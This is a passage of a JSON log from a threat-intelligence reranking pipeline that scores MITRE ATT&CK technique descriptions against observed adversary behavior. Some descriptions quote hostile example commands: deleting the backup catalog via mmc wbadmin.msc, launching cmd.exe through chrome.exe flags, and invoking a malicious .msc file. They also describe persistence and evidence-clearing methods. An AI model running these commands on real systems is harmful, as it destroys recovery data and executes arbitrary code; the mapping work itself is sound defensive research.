communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1218.014", + "text": "ATT&CK technique: T1218.014 MMC\nDescription: Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt. MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration. For example, mmc C:\\Users\\foo\\admintools.msc /a will open a custom, saved console msc file in author mode. Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. Adversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. Inhibit System Recovery) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems). Adversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a Component Object Model class object. Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey. Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\\path\\to\\test.msc.\nTactics: stealth\nPlatforms: Windows" + }, + { + "id": "T1119", + "text": "ATT&CK technique: T1119 Automated Collection\nDescription: Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a Command and Scripting Interpreter to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. In cloud-based environments, adversaries may also use cloud APIs, data pipelines, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. This functionality could also be built into remote access tools. This technique may incorporate use of other techniques such as File and Directory Discovery and Lateral Tool Transfer to identify and move files, as well as Cloud Service Dashboard and Cloud Storage Object Discovery to identify resources in cloud environments.\nTactics: collection\nPlatforms: IaaS, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1546.004", + "text": "ATT&CK technique: T1546.004 Unix Shell Configuration Modification\nDescription: Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files. These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely. Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface. Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin. The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.\nTactics: persistence, privilege escalation\nPlatforms: Linux, macOS" + }, + { + "id": "T1569", + "text": "ATT&CK technique: T1569 System Services\nDescription: Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence (Create or Modify System Process), but adversaries can also abuse services for one-time or temporary execution.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1218.015", + "text": "ATT&CK technique: T1218.015 Electron Applications\nDescription: Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams. Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS. The Chromium engine is used to display web content and Node.js runs the backend code. Due to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework. For example, the abuse of `teams.exe` and `chrome.exe` may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., `chrome.exe --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\system32\\cmd.exe /c calc.exe`). Adversaries may also execute malicious content by planting malicious JavaScript within Electron applications.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1090.002", + "text": "ATT&CK technique: T1090.002 External Proxy\nDescription: Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion. External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1070.008", + "text": "ATT&CK technique: T1070.008 Clear Mailbox Data\nDescription: Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests. Adversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of Phishing/Internal Spearphishing, Email Collection, Mail Protocols for command and control, or email-based exfiltration such as Exfiltration Over Alternative Protocol. For example, to remove evidence on Exchange servers adversaries have used the ExchangePowerShell PowerShell module, including Remove-MailboxExportRequest to remove evidence of mailbox exports. On Linux and macOS, adversaries may also delete emails through a command line utility called mail or use AppleScript to interact with APIs on macOS. Adversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.\nTactics: stealth\nPlatforms: Linux, Office Suite, Windows, macOS" + }, + { + "id": "T1480", + "text": "ATT&CK technique: T1480 Execution Guardrails\nDescription: Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign. Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses. Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical Virtualization/Sandbox Evasion. While use of Virtualization/Sandbox Evasion may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match. Adversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user's software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1675", + "text": "ATT&CK technique: T1675 ESXi Administration Command\nDescription: Adversaries may abuse ESXi administration services to execute commands on guest machines hosted within an ESXi virtual environment. Persistent background services on ESXi-hosted VMs, such as the VMware Tools Daemon Service, allow for remote management from the ESXi server. The tools daemon service runs as `vmtoolsd.exe` on Windows guest operating systems, `vmware-tools-daemon` on macOS, and `vmtoolsd ` on Linux. Adversaries may leverage a variety of tools to execute commands on ESXi-hosted VMs – for example, by using the vSphere Web Services SDK to programmatically execute commands and scripts via APIs such as `StartProgramInGuest`, `ListProcessesInGuest`, `ListFileInGuest`, and `InitiateFileTransferFromGuest`. This may enable follow-on behaviors on the guest VMs, such as File and Directory Discovery, Data from Local System, or OS Credential Dumping.\nTactics: execution\nPlatforms: ESXi" + }, + { + "id": "T1070", + "text": "ATT&CK technique: T1070 Indicator Removal\nDescription: Adversaries may selectively delete or modify artifacts generated to reduce indications of their presence and blend in with legitimate activity. Rather than broadly removing evidence, adversaries may target specific artifacts that appear anomalous or are likely to draw scrutiny, while leaving sufficient data intact to maintain the appearance of normal system behavior. Artifacts such as command histories, log entries, or file metadata may be altered in ways that align with expected user or system activity. Location, format, and type of artifact (such as command or login history) are often platform-specific, allowing adversaries to tailor modifications that minimize suspicion. These actions may not prevent detection entirely but can delay recognition of malicious activity or reduce the fidelity of alerts by making events appear benign or consistent with routine operations. Additionally, selectively removed or modified artifacts may still be recoverable through deeper forensic analysis, though their absence or alteration can complicate timeline reconstruction and attribution.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Network Devices, Office Suite, Windows, macOS" + }, + { + "id": "T1102.001", + "text": "ATT&CK technique: T1102.001 Dead Drop Resolver\nDescription: Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1588.007", + "text": "ATT&CK technique: T1588.007 Artificial Intelligence\nDescription: Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks, including conducting Reconnaissance, creating basic scripts, assisting social engineering, and even developing payloads. For example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in Phishing/Phishing for Information campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting Develop Capabilities. AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., Obfuscated Files or Information) malicious scripts and payloads. Finally, AI-generated text, images, audio, and video may be used for fraud, Impersonation, and other malicious activities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1106", + "text": "ATT&CK technique: T1106 Native API\nDescription: Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes. These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to Command and Scripting Interpreter, the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes. This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations. Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code. Adversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks. Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via Disable or Modify Tools.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1567.003", + "text": "ATT&CK technique: T1567.003 Exfiltration to Text Storage Sites\nDescription: Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as pastebin[.]com, are commonly used by developers to share code and other information. Text storage sites are often used to host malicious code for C2 communication (e.g., Stage Capabilities), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely. **Note:** This is distinct from Exfiltration to Code Repository, which highlight access to code repositories via APIs.\nTactics: exfiltration\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1588", + "text": "ATT&CK technique: T1588 Obtain Capabilities\nDescription: Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals. In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1609", + "text": "ATT&CK technique: T1609 Container Administration Command\nDescription: Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment. In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container. In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.\nTactics: execution\nPlatforms: Containers" + }, + { + "id": "T1681", + "text": "ATT&CK technique: T1681 Search Threat Vendor Data\nDescription: Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group’s activity, and more. Adversaries may change their behavior when planning their future operations. Adversaries have been observed replacing atomic indicators mentioned in blog posts in under a week. Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation. This technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1200", + "text": "ATT&CK technique: T1200 Hardware Additions\nDescription: Adversaries may physically introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. Replication Through Removable Media), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused. While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. Adversary-in-the-Middle), keystroke injection, kernel memory reading via DMA, addition of new wireless access points to an existing network, and others.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1559", + "text": "ATT&CK technique: T1559 Inter-Process Communication\nDescription: Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows Dynamic Data Exchange or Component Object Model. Linux environments support several different IPC mechanisms, two of which being sockets and pipes. Higher level execution mediums, such as those of Command and Scripting Interpreters, may also leverage underlying IPC mechanisms. Adversaries may also use Remote Services such as Distributed Component Object Model to facilitate remote IPC execution.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1546.007", + "text": "ATT&CK technique: T1546.007 Netsh Helper DLL\nDescription: Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh. Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.\nTactics: persistence, privilege escalation\nPlatforms: Windows" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1059", + "score": 0.99609375, + "rank": 0 + }, + { + "item_id": "T1059.004", + "score": 0.9765625, + "rank": 1 + }, + { + "item_id": "T1059.008", + "score": 0.96875, + "rank": 2 + }, + { + "item_id": "T1059.003", + "score": 0.96875, + "rank": 3 + }, + { + "item_id": "T1219", + "score": 0.94140625, + "rank": 4 + }, + { + "item_id": "T1059.012", + "score": 0.80859375, + "rank": 5 + }, + { + "item_id": "T1119", + "score": 0.73046875, + "rank": 6 + }, + { + "item_id": "T1202", + "score": 0.53125, + "rank": 7 + }, + { + "item_id": "T1059.013", + "score": 0.53125, + "rank": 8 + }, + { + "item_id": "T1056.002", + "score": 0.53125, + "rank": 9 + }, + { + "item_id": "T1219.001", + "score": 0.46875, + "rank": 10 + }, + { + "item_id": "T1059.001", + "score": 0.40625, + "rank": 11 + }, + { + "item_id": "T1546.004", + "score": 0.333984375, + "rank": 12 + }, + { + "item_id": "T1021.007", + "score": 0.22265625, + "rank": 13 + }, + { + "item_id": "T1059.009", + "score": 0.201171875, + "rank": 14 + }, + { + "item_id": "T1005", + "score": 0.1474609375, + "rank": 15 + }, + { + "item_id": "T1082", + "score": 0.1005859375, + "rank": 16 + }, + { + "item_id": "T1505.003", + "score": 0.09033203125, + "rank": 17 + }, + { + "item_id": "T1027.010", + "score": 0.08447265625, + "rank": 18 + }, + { + "item_id": "T1204", + "score": 0.0810546875, + "rank": 19 + }, + { + "item_id": "T1219.002", + "score": 0.06396484375, + "rank": 20 + }, + { + "item_id": "T1059.006", + "score": 0.056396484375, + "rank": 21 + }, + { + "item_id": "T1685.003", + "score": 0.050537109375, + "rank": 22 + }, + { + "item_id": "T1674", + "score": 0.047607421875, + "rank": 23 + }, + { + "item_id": "T1218.007", + "score": 0.044677734375, + "rank": 24 + }, + { + "item_id": "T1218.002", + "score": 0.044677734375, + "rank": 25 + }, + { + "item_id": "T1569.001", + "score": 0.0419921875, + "rank": 26 + }, + { + "item_id": "T1106", + "score": 0.033203125, + "rank": 27 + }, + { + "item_id": "T1057", + "score": 0.029296875, + "rank": 28 + }, + { + "item_id": "T1675", + "score": 0.029296875, + "rank": 29 + }, + { + "item_id": "T1113", + "score": 0.02587890625, + "rank": 30 + }, + { + "item_id": "T1609", + "score": 0.0242919921875, + "rank": 31 + }, + { + "item_id": "T1056", + "score": 0.021728515625, + "rank": 32 + }, + { + "item_id": "T1569", + "score": 0.021728515625, + "rank": 33 + }, + { + "item_id": "T1204.004", + "score": 0.0203857421875, + "rank": 34 + }, + { + "item_id": "T1059.011", + "score": 0.0203857421875, + "rank": 35 + }, + { + "item_id": "T1564.010", + "score": 0.0191650390625, + "rank": 36 + }, + { + "item_id": "T1218.014", + "score": 0.0191650390625, + "rank": 37 + }, + { + "item_id": "T1219.003", + "score": 0.0167236328125, + "rank": 38 + }, + { + "item_id": "T1218.004", + "score": 0.015625, + "rank": 39 + }, + { + "item_id": "T1218.010", + "score": 0.015625, + "rank": 40 + }, + { + "item_id": "T1070.008", + "score": 0.013427734375, + "rank": 41 + }, + { + "item_id": "T1569.003", + "score": 0.0125732421875, + "rank": 42 + }, + { + "item_id": "T1569.002", + "score": 0.0118408203125, + "rank": 43 + }, + { + "item_id": "T1546.007", + "score": 0.0111083984375, + "rank": 44 + }, + { + "item_id": "T1218", + "score": 0.01043701171875, + "rank": 45 + }, + { + "item_id": "T1559", + "score": 0.01043701171875, + "rank": 46 + }, + { + "item_id": "T1518", + "score": 0.00921630859375, + "rank": 47 + }, + { + "item_id": "T1070", + "score": 0.00921630859375, + "rank": 48 + }, + { + "item_id": "T1071", + "score": 0.0086669921875, + "rank": 49 + }, + { + "item_id": "T1218.009", + "score": 0.0086669921875, + "rank": 50 + }, + { + "item_id": "T1565", + "score": 0.00811767578125, + "rank": 51 + }, + { + "item_id": "T1105", + "score": 0.007171630859375, + "rank": 52 + }, + { + "item_id": "T1218.015", + "score": 0.006744384765625, + "rank": 53 + }, + { + "item_id": "T1505", + "score": 0.00494384765625, + "rank": 54 + }, + { + "item_id": "T1102.002", + "score": 0.00494384765625, + "rank": 55 + }, + { + "item_id": "T1102.003", + "score": 0.00408935546875, + "rank": 56 + }, + { + "item_id": "T1104", + "score": 0.00299072265625, + "rank": 57 + }, + { + "item_id": "T1053", + "score": 0.0026397705078125, + "rank": 58 + }, + { + "item_id": "T1588", + "score": 0.0026397705078125, + "rank": 59 + }, + { + "item_id": "T1200", + "score": 0.0026397705078125, + "rank": 60 + }, + { + "item_id": "T1090.002", + "score": 0.0023345947265625, + "rank": 61 + }, + { + "item_id": "T1559.001", + "score": 0.0021209716796875, + "rank": 62 + }, + { + "item_id": "T1571", + "score": 0.0020599365234375, + "rank": 63 + }, + { + "item_id": "T1480", + "score": 0.00186920166015625, + "rank": 64 + }, + { + "item_id": "T1587", + "score": 0.0018157958984375, + "rank": 65 + }, + { + "item_id": "T1573", + "score": 0.0018157958984375, + "rank": 66 + }, + { + "item_id": "T1588.007", + "score": 0.0017547607421875, + "rank": 67 + }, + { + "item_id": "T1555", + "score": 0.00154876708984375, + "rank": 68 + }, + { + "item_id": "T1566", + "score": 0.00141143798828125, + "rank": 69 + }, + { + "item_id": "T1608", + "score": 0.0013275146484375, + "rank": 70 + }, + { + "item_id": "T1102.001", + "score": 0.0013275146484375, + "rank": 71 + }, + { + "item_id": "T1001.003", + "score": 0.0012054443359375, + "rank": 72 + }, + { + "item_id": "T1681", + "score": 0.000858306884765625, + "rank": 73 + }, + { + "item_id": "T1567.003", + "score": 0.000667572021484375, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 22822 + } + }, + "evidence_sha256": "d73e1dbc73477f6382a46cff1bf6d974de4b372f802f99fd7cb272d2a12396e7" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 780.6, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: provides the threat actor with a handy GUI to retrieve the credentials and session information" + }, + "items": [ + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: When a particular provider is clicked, a pop-up box (Figure 3) displays the actual credential phishing box." + }, + { + "id": "T1606", + "text": "ATT&CK technique: T1606 Forge Web Credentials\nDescription: Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access. Adversaries may generate these credential materials in order to gain access to web resources. This differs from Steal Web Session Cookie, Steal Application Access Token, and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., Temporary Elevated Cloud Access), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain. Once forged, adversaries may use these web credentials to access resources (ex: Use Alternate Authentication Material), which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: * **NiiJ Stealer -** A very basic stealer to steal passwords from popular tools like Firefox, Opera, Chrome, FileZilla, etc and send to the C&C panel." + }, + { + "id": "T1113", + "text": "ATT&CK technique: T1113 Screen Capture\nDescription: Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.\nTactics: collection\nPlatforms: Linux, Windows, macOS\nLabeled report example: AsyncRAT provides functionality such as keylogger, screen viewer, command execution, and many more." + }, + { + "id": "T1555", + "text": "ATT&CK technique: T1555 Credentials from Password Stores\nDescription: Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.\nTactics: credential access\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: It also has a wide range of information-stealing abilities including browser credential theft, keylogging, screen capture, and remote enabling of webcams." + }, + { + "id": "T1217", + "text": "ATT&CK technique: T1217 Browser Information Discovery\nDescription: Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. Browser information may also highlight additional targets after an adversary has access to valid credentials, especially Credentials In Files associated with logins cached by a browser. Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).\nTactics: discovery\nPlatforms: Linux, Windows, macOS\nLabeled report example: PurpleWave is capable of stealing credentials, autofills data, card data, cookies, and browser history from Chromium and Mozilla." + }, + { + "id": "T1539", + "text": "ATT&CK technique: T1539 Steal Web Session Cookie\nDescription: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\nTactics: credential access\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: The group selling Taurus claims that this stealer is capable of stealing passwords, cookies, and autofill forms along with the history of Chromium- and Gecko-based browsers." + }, + { + "id": "T1115", + "text": "ATT&CK technique: T1115 Clipboard Data\nDescription: Adversaries may collect data stored in the clipboard from users copying information within or between applications. For example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard. Additionally, adversaries may monitor then replace users’ clipboard with their data (e.g., Transmitted Data Manipulation). macOS and Linux also have commands, such as pbpaste, to grab clipboard contents.\nTactics: collection\nPlatforms: Linux, Windows, macOS\nLabeled report example: Cybercriminals use this RAT to steal user credentials and spy on victims through screenshots, keyboard logging, and clipboard capturing." + }, + { + "id": "T1528", + "text": "ATT&CK technique: T1528 Steal Application Access Token\nDescription: Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS). Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment. For example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands. Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment. If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges. In Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication. Token theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow. An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls. Then, they can send a Spearphishing Link to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user 